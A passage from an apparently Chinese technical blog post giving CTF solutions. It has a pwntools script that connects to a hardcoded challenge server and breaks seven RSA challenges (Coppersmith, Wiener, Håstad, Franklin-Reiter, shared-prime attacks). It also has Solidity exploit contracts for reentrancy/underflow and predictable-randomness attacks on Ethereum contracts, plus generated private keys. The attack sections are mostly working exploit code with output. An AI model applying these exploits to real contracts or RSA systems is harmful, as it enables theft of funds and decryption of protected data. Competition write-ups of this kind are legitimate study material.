                if hashlib.sha256(skr).hexdigest()==hexdig:
                    return skr.encode("hex")
ip = '119.3.245.36'
port = 12345
token = "08c5028f14a51d3336c3e4f80414706d"
io = remote(ip,port)
io.recvline()
hexdig = io.recvline().split("=")[1].strip()
prefix = io.recvline().split("=")[1].strip().decode("hex")
io.sendlineafter("skr.encode('hex')=",proof(prefix,hexdig))
io.sendlineafter("[+]teamtoken:",token)
io.recvuntil("[+]Generating challenge 1\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
msg = io.recvline().split("=")[1].strip()
'''sage
n = 0x5531aea5ffe86eccf70882f505f4781896f94d18cb35d1baed228ef217f3814145bd7e2d083b43a3b11956a189bd83028d1cea92c707ef2c89470f6976447df21f2125c8ddf79a4e152a616af4b07a3eb8cb4404040e667559979f26ae4b20a70bc8ffbd6524f4e3f565f422a167feebb00f675b76450a2f158f5ef81ce05cd3L
c = 0x1aead4a71c0c3947638876c35442d3eec3da7a8901479a0bfd130b90357e761301ceef8c5f8216ed6ed15926733741e188739458ab8166ead89069df347dd8dc801ce8b528da9d1182721c2a059b0ce9cceacae561fefef2999b39975925cf4ca293f85e959cbe5750e78735f2da3982c886eb62ff69e7440cf57e76e713cb9aL
msg = 0x151886a90ebbbfe79f63fbfb860f991089786e883be96fd85a39f56e6512147680fe4257b814d76bdd7dea62a4c75c41cfb717f150eb38000000000000000000L
e = 3
P.<x> = PolynomialRing(Zmod(n))
f = (msg + x)^e - c
f = f.monic()
m = f.small_roots(epsilon=1/20)
print int(m[0])
1903917370682551034555
msg
m = 1903917370682551034555
msg = 0x151886a90ebbbfe79f63fbfb860f991089786e883be96fd85a39f56e6512147680fe4257b814d76bdd7dea62a4c75c41cfb717f150eb38000000000000000000L
msg =msg|m
print msg
1104876946382386833226428817684728232572927155168858737579230414862059811638800254664053825832738693156293202153064542002981284505817481033381480455987899
'''
m = 1104876946382386833226428817684728232572927155168858737579230414862059811638800254664053825832738693156293202153064542002981284505817481033381480455987899
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 2\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
p = io.recvline().split("=")[1].strip()
'''sage
n = 0x5401d2f0e31048e194f24b88f9fc1b3fe6e0bf64bf83b8c83d5fbe0a42b9f43dedb9dce1ea61e812fbd1ff7364456a9a6f1e08bb51dfc94f97cb4a3f0064f2094d8cb78e30da72beb414ed1517655dde51e954b2b7dfbbba2190b2368915b41fa28972250444b4f79afd3778751e531826bc370aa39749a64f7b4d94e2d76d8dL
pp =0x6bab908c66b6cfd913aa8902a58ece870e259675662eb4b12833419ef5253d713ac76d3e97cbe7602c7f1ff6f1865a4600000000000000000000000000000000L
cipher = 0x1cd46c5a497639fdd69c35caf0fc12f1ccb6181fa76abcbb0a4a3900672d703d6f2637db8c8d7584d48e05cc28dcb3a1799265f0c378880c1ab8d5fc2b37222443d8272b5d7987419daacd9ce871329f7bab0c3938baeb517fc3352ad04eb8b1b82bae803bb8d61caaad28b6d16aff3f64290852e942002a40f4f0c5f0364c80L
e =65537
kbits = 128
PR.<x> = PolynomialRing(Zmod(n))
f = x + pp
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
   p = pp+int(roots[0])
   print "p: ", hex(int(p))
   assert n % p == 0
   q = n/int(p)
   print "q: ", hex(int(q))
   phin = (p-1)*(q-1)
   d = inverse_mod(e,phin)
   flag = pow(cipher,d,n)
   print flag
p:  0x6bab908c66b6cfd913aa8902a58ece870e259675662eb4b12833419ef5253d713ac76d3e97cbe7602c7f1ff6f1865a46acf4dbae0f59512201f61593f9f68395L
q:  0xc7bcecc65f7da74d92a08184b639f9af91ffea26c59416134869294ebd24d466eb3f58232d080a4a2b98dc65cf36c2efb0d3e99c6654155bd8e41831ff4d4419L
585468706681329276477449718210237848124414211836568187401926758884114761898943378227026028418158072928115014574268157835435181166614393317861105335193790
'''
m = 585468706681329276477449718210237848124414211836568187401926758884114761898943378227026028418158072928115014574268157835435181166614393317861105335193790
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 3\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
io.recvline()
dd = io.recvline().split("=")[1].strip()
'''
def partial_p(p0, kbits, n):
    PR.<x> = PolynomialRing(Zmod(n))
    nbits = n.nbits()

    f = 2^kbits*x + p0
    f = f.monic()
    roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3)  # find root < 2^(nbits//2-kbits) with factor >= n^0.3
    if roots:
        x0 = roots[0]
        p = gcd(2^kbits*x0 + p0, n)
        return ZZ(p)

def find_p(d0, kbits, e, n):
    X = var('X')

    for k in xrange(1, e+1):
        results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
        for x in results:
            p0 = ZZ(x[0])
            p = partial_p(p0, kbits, n)
            if p:
                return p


if __name__ == '__main__':
    n = 0x359f1a3579b0feb2c8315eabd4f18300d0a436246c514c6f20315b367abdf7fa8bb2a67f463e93ee55e904709b9d8bb41961e05fab0996b021d14a41e95854b0d5fa4cd5b8bd4b5dfc239d457225a82e5193bfa9607c8a10717a33e9e50560d8448eef09f59d3174e4d574ba311cb85c22d8b2ba94bb2aa9459fa7e4556eabf5
    e = 3
    d = 0xf03a5b5181ef301c0e90d9f9f8c89321dc224848e6438132b8bbe2578335c0ce512875d46a93cc2a2afcc64d53604ac12f2b5b9520507919ca651141635cf533
    beta = 0.6
    epsilon = beta^2/7

    nbits = n.nbits()
    print nbits
    kbits = floor(nbits*(beta^2+epsilon))
    print kbits
    d0 = d & (2^kbits-1)
    print "lower %d bits (of %d bits) is given" % (kbits, nbits)

    p = find_p(d0, kbits, e, n)
    print "found p: %d" % p
    q = n//p
    print d
    print inverse_mod(e, (p-1)*(q-1))

1022
420
lower 420 bits (of 1022 bits) is given
found p: 5187906304275017677597329735734220070576352716171110498255822371549949926866441888027248344079507102971677286337805888649512278848643645061940765012795363
12581758953975131139829460552441032035253094155970085390848181339207904871866760521309122068771352966718052558317786123791975955455578013601603365747094835
25102862251104975324783237668753484063940741831599758073664126789860590958797844165485168376592162323554806263577532211244673018130713710718373026663090840738408904930459702120537687392575873439836153561926217351088417309346677995236698734007954784101740717586952475522629013159116921613383958314383683941683
'''
n = 0x359f1a3579b0feb2c8315eabd4f18300d0a436246c514c6f20315b367abdf7fa8bb2a67f463e93ee55e904709b9d8bb41961e05fab0996b021d14a41e95854b0d5fa4cd5b8bd4b5dfc239d457225a82e5193bfa9607c8a10717a33e9e50560d8448eef09f59d3174e4d574ba311cb85c22d8b2ba94bb2aa9459fa7e4556eabf5
c = 0x21638d71294a9351d12ee4fda0f444e5b3f2ed8544b612883c095979da66c367323c3eae7d54040fb88aa590eefa62a3ea23bf6272eab4e6c5edbb7f4573d990c430e550afe3a4c3030c39e413986d284acfc3a2e3ab75778b2e067d85a89eab8182313073392997dee7cdab5ee4301f6e9721838406bddc88f3a1ae18ae57ba
d = 25102862251104975324783237668753484063940741831599758073664126789860590958797844165485168376592162323554806263577532211244673018130713710718373026663090840738408904930459702120537687392575873439836153561926217351088417309346677995236698734007954784101740717586952475522629013159116921613383958314383683941683
m = pow(c,d,n)
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 4\n")
e = int(io.recvline().split("=")[1].strip())
io.recvline()
n1 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c1 = int(io.recvline().split("=")[2].strip()[2:-1],16)
n2 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c2 = int(io.recvline().split("=")[2].strip()[2:-1],16)
n3 = int(io.recvline().split("=")[1].strip()[2:-1],16)
c3 = int(io.recvline().split("=")[2].strip()[2:-1],16)
N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy2.invert(N1, n1)
u2 = gmpy2.invert(N2, n2)
u3 = gmpy2.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = int(gmpy2.iroot(M,e)[0])
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 5\n")
n = io.recvline().split("=")[1].strip()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
x = io.recvline().split("=")[1].strip()
'''
from sage.all import *

n1 =0x239e010007b64ae57fc6ed550065d6b0ff7bd24e74f8431528196a69ea29ccefa977d21bfbfaea80cf313e30b604465fda3d356ab8be8a998fd3687a6e3edd440691231850c97c423afc9ad77edbb0413772dfb855df2cd308906991230c620a08c6438f43c666cdf7856fd191cdab51d1082f92081fa79547775f0f5b8f0ec9
e = 3
C1 = 0xb67bf318324d9a0c0ea476e53f672e82f3e2107230ba71ff780c23f059d4dcf4fb2747d03d56494a8afe35a818acc5c05e1653bccde88f4636d953d1cf37f4f324124b026ecf2bed5fa5da93746fcff99f6fbc6d960a55f8ed8224bbd0f44e39294260e4d9266df21e93bf70ebf4b69ca20fe5fb9f031a444b72bb163c9a09cL
C2 = 0x1803d75614802a7813d70169cef2a000ea55e3ea34863d4f684394e944c12cd1b70a8f46efe22ed5a11ac3799999417907eb4ed1f6f77fe84e081506218f1ffc31608c314f738656aa001a753d4d513bdb932e055a5300cccbc90c5a98d442deb2db7ca6b64423492e204c9a09fd2cc2a9710d09bb3c800eb252a17c34b41c00L

PRxy.<x,y> = PolynomialRing(Zmod(n1))
PRx.<xn> = PolynomialRing(Zmod(n1))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n1))

g1 = x**e - C1
g2 = (x + y)**e - C2

q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)

h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()

roots = h.small_roots(X=2**40, beta=0.3)
assert roots, "Failed1"

diff = roots[0]
if diff > 2**32:
    diff = -diff
    C1, C2 = C2, C1
print "Difference:", diff
x = PRx.gen() # otherwise write xn
g1 = x**e - C1
g2 = (x + 1)**e - C2

# gcd
while g2:
    g1, g2 = g2, g1 % g2

g = g1.monic()
assert g.degree() == 1, "Failed 2"

# g = xn - msg
msg = -g[0]
# convert to str
print msg
print pow(msg,3,n1)==C1
Difference: 1
3359866727795952574047570400129983625808766359347672927740163405945044601265065800687792901768426453783209977783706554638017355219744329839231253397496875
True
'''
m = 3359866727795952574047570400129983625808766359347672927740163405945044601265065800687792901768426453783209977783706554638017355219744329839231253397496875
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 6\n")
n = io.recvline().split("=")[1].strip()
io.recvline()
io.recvline()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
'''
def wiener(e, n):
    m = 12345
    c = pow(m, e, n)
    q0 = 1

    list1 = continued_fraction(Integer(e)/Integer(n))
    conv = list1.convergents()
    for i in conv:
        k = i.numerator()
        q1 = i.denominator()

        for r in range(20):
            for s in range(20):
                d = r*q1 + s*q0
                m1 = pow(c, d, n)
                if m1 == m:
                    return d
        q0 = q1



d = wiener(0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL, 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L)
print d
d = 776765455081795377117377680209510234887230129318575063382634593357724998207571
'''
d = 776765455081795377117377680209510234887230129318575063382634593357724998207571
c = 0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866c
n = 0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27
m = pow(c,d,n)
io.sendlineafter("[-]long_to_bytes(m).encode('hex')=",long_to_bytes(m).encode('hex'))
io.recvuntil("[+]Generating challenge 7\n")
n = io.recvline().split("=")[1].strip()
io.recvline()
io.recvline()
e = io.recvline().split("=")[1].strip()
io.recvline()
c = io.recvline().split("=")[2].strip()
'''
    '[++++++++++++++++]all clear[++++++++++++++++]\n'
    'flag{17181389f36ebe098c4cebd3abe1096cdf7dd78f3db139e4958a7578f6fe6f44}\n'

强网先锋-辅助

In [1]: from Crypto.Util.number import  inverse

In [2]: c1,e,n1 = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949
   ...: 10669327946289696883902971209933623597622157156464290024082777471919953312405395315791985083821
   ...: 40219349074806334415773162638530112325183929049830280521558621542644011081249684040988239466918
   ...: 11798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432
   ...: 68494692274123205324989457541779606709065512270230613484822025794329764546147748808680485601832
   ...: 39867969991033855655404965344224063903559879768154507445359497850730090430071594969291871843385
   ...: 92859040917546122343981520508220332785862546608841127597, 65537, 149670300599751149502953998741
   ...: 85047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711
   ...: 35264646977673293854464158384231379187298635750446218492407522743349863142328918798835147566678
   ...: 51908542103895875949754560649846119904611266843010862415329152673116751641902134742453110196236
   ...: 54865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085
   ...: 73868088331343357406024360002850060082462435847340305959759389141217939916581362251290126338029
   ...: 95610196247414887793670193897757865472920653528850072242395817769758923853644464461856429391372
   ...: 87519945974807727

In [3]: c2,e,n2 = 3829060039572042737496679186881067950328956133163629908872348108160129550437697677150
   ...: 59948392392579822432817559448321793883352022008723030347013852597046891551111132039618548256478
   ...: 39754353463544400357769097811584076360449864038198406483796096300393488954150457232088436311912
   ...: 52142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150
   ...: 53445700119676562167865995210801059627324423081232718278632976084403714971958726963213359514929
   ...: 40674909556448934027087202841797150021492240689288286565153264468817912286380085728893315119450
   ...: 42911372915003805505412099102954073299010951896955362470, 65537, 146246626287258206186223708039
   ...: 48630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057
   ...: 55022704839983724339249076216773308303036822124076469369432115010430604412593420169943014697046
   ...: 66574109992616308259311787318572675997503249186107900989525201135931302450105309613505927352394
   ...: 54337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741
   ...: 87403375697072435747053958984854870457309163391786938723932444773058754547256456149672488279949
   ...: 51867688583244908381691230770518903323136712203858304443315786743380140809596532018024765162374
   ...: 64651809255679979

In [4]: from Crypto.Util.number import  inverse,GCD

In [5]: GCD(n1,n2)
Out[5]: 161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737L

In [6]: p = GCD(n1,n2)

In [7]: q = n1/p

In [8]: d = inverse(e,(p-1)*(q-1))

In [9]: m = pow(c1,d,n1)

In [10]: m
Out[10]: 46327402297756142163414444763385873143473454642530335007005275780577416655741L

In [11]: from Crypto.Util.number import long_to_bytes

In [12]: long_to_bytes(m)
Out[12]: 'flag{i_am_very_sad_233333333333}'

babybank

原合约分析

https://ethervm.io/decompile/ropsten/0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c
合约字节码->伪代码

合约成员 成员说明
0x00 balance map(address -> uint)
0x01 level map(address -> uint)
0x02 合约创建者的地址 0x409dd71C0E5500dA1e0489d4885411b1Da52d4c2
0x03 初始化为3fde42988fa35
合约函数 参数 说明
withdraw uint256 如果sender的balance大于参数,就向sender发送一个value为参数乘0x5af3107a4000的交易,从sender的balance中扣除参数
profit 如果sender的address最后四位为b1b1,且sender的level为0,sender的balance和level都加1
0x8c0320de string,string 进入要求balance大于0x02540be400,第一个参数是战队token的MD5 第二个参数是base64编码的邮箱
0x8e2a219e uint256 如果sender是2号的值,将3号修改为传进来的值
guess uint256 如果传进来的值是3号的值,且sender的level为1,sender的balance和level都加1
transfer address,uint256 向address转移一定量的balance,只能转移0x02
0xd41b6db6 address 返回sender的level
balance address 返回sender的balance

合约创建者调用了0x8e2a219e 参数值为3fde42988fa35

原理

withdraw函数会给调用者发送以太坊,如果调用者是合约,就会调用合约的function() payable。
如果合约中function() payable调用了withdraw,这时最外层的withdraw尚未减少balance,所以第二次调用的withdraw会将balance减少到0,回到最外层的withdraw,就会将balance溢出。
但是要想发送以太坊就得让账户上有以太坊,而直接把以太坊发送给原合约是不行的,可以通过创建临时合约,在将以太坊转移到临时合约,最后通过selfdestruct(address)将临时合约上的以太坊强制转移到address上。

步骤

  1. 先创建一个地址最后四位为b1b1的账号

    import binascii
    import sha3
    from ecdsa import SigningKey, SECP256k1
    while 1:
     priv = SigningKey.generate(curve=SECP256k1) #生成私钥
     pub = priv.get_verifying_key() #生成公钥
    
     keccak = sha3.keccak_256()
     keccak.update( pub.to_string()) #keccak_256哈希运算
     address = "0x" + keccak.hexdigest()[24:]
    
     priv_key = binascii.hexlify( priv.to_string())
     pub_key = binascii.hexlify( pub.to_string())
    
     print("Private key: " + priv_key.decode() )
     print("Public key:  " + pub_key.decode() )
     print("Address:     " + address)
     print address[-4:]
     if "b1b1" == address[-4:]:
         break
    

    generate online:https://vanity-eth.tk/

    Address: 0xb1D0cA3f763cFAAa494aF658f7B502D16eD1b1b1
    Private key: 0d7438e0cafa6df372600aef059cf2621938f34ae9d1fd4683cea7ec96668639
    Address: 0x1b6FA3DfcD943f5c513815af92355bF893b7b1b1
    Private key: 6b8cd7688f612415d639ccffc179e8e31e0ab3b3fe57dc39c9eb0fbd9d4a6449
    Address: 0xE9046061fc2eDaAd9910181396B212161067b1B1
    Private key: 660fe55dc06323ed5a43cf6c5ebb4fbfe22f9a28f1788d4cb840ea102e8cd337
    Address: 0xC7A403Fe97525d01E368D4f7f1920F4fe0BfB1B1
    Private key: 95923502fff00e0393368e750535f500b5ee6db938d89d0ecd9d62c8b609ae9c
  2. 创建合约A

    pragma solidity ^0.4.18;
    contract ctf {
     address callee = 0xD630cb8c3bbfd38d1880b8256eE06d168EE3859c;
     bytes4 f1 = 0x2e1a7d4d;
     bytes4 f2 = 0x8c0320de;
     bool count = false;
     function() payable public 
     {
         if (!count)
         {
             callee.call(f1,2);
             count = true;
         }    
     }
    
     function hello() public returns (bool)
     {
    
         if(callee.call(f1,2))
             return callee.call(f2,"2d5088d4cac1e7d5f935659807a44db8","bHRzbWFrZXJAbGl2ZS5jbg==");
     }
    }
  3. 创建临时合约B
    pragma solidity ^0.4.18;
    contract ctf2 {
     function() payable public 
     {
     }
     function awsl(address to) public
     {
         selfdestruct(to);
     }
    }
  4. profit()
  5. guess(3fde42988fa35)
  6. transfer(合约A地址,2)
  7. 转移以太坊到临时合约
  8. 毁灭临时合约
  9. 调用合约A上的函数

babybet

原理

bet里面生成的随机数可被控制。
一个address最多获取1000点balance,而payforflag需要1000000点,生成1000个账号获取balance,最后转移到一个账号上。

步骤

pragma solidity ^0.4.18;
contract awsl {
    address caller = 0xC7A403Fe97525d01E368D4f7f1920F4fe0BfB1B1;
    address sender = 0x5d1beefd4de611caff204e1a318039324575599a;
    bytes4 profit_addr = 0x66d16cc3;
    bytes4 bet_addr = 0x7365870b;
    bytes4 transfer_addr = 0xf0d25268;

    function awsl() payable public
    {
        //caller = msg.sender;
    }

    function attack() payable public
    {
        sender.call(profit_addr);
        bytes32 entropy = block.blockhash(block.number-1);
        uint num = uint(entropy) % 0x03;
        sender.call(bet_addr,num);
        sender.call(transfer_addr,caller,1000);
        selfdestruct(caller);
    }
}
contract bitit {
    address sender = 0x5d1beefd4de611caff204e1a318039324575599a;
    bytes4 profit_addr = 0x66d16cc3;
    bytes4 bet_addr = 0x7365870b;
    bytes4 getflag_addr = 0x8c0320de;

    function() payable public 
    {
    }
    function aaaaaaaaa() payable public
    {
        for (int i=0;i<19;i++)
        {
            awsl temp = new awsl();
            temp.attack();
        }
    }
}
for (var i = 4;i<=50;i++){
    var message ={to:"0x68Fb426E47dbaF6473f35b063CaF1BB4882C44Aa", data:"0x347b3755"};
    web3.eth.sendTransaction(message, (err, res) => {
        var output = "";
        if (!err) {
            output += res;
        } else {
            output = "Error";
        }
        console.log(output);
    })
}
  1. 部署合约
  2. aaaaaaaaa() 53次
    (aaaaaaaaa中最多只能进行19次操作,不然就out of gas了)
  3. getflag

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now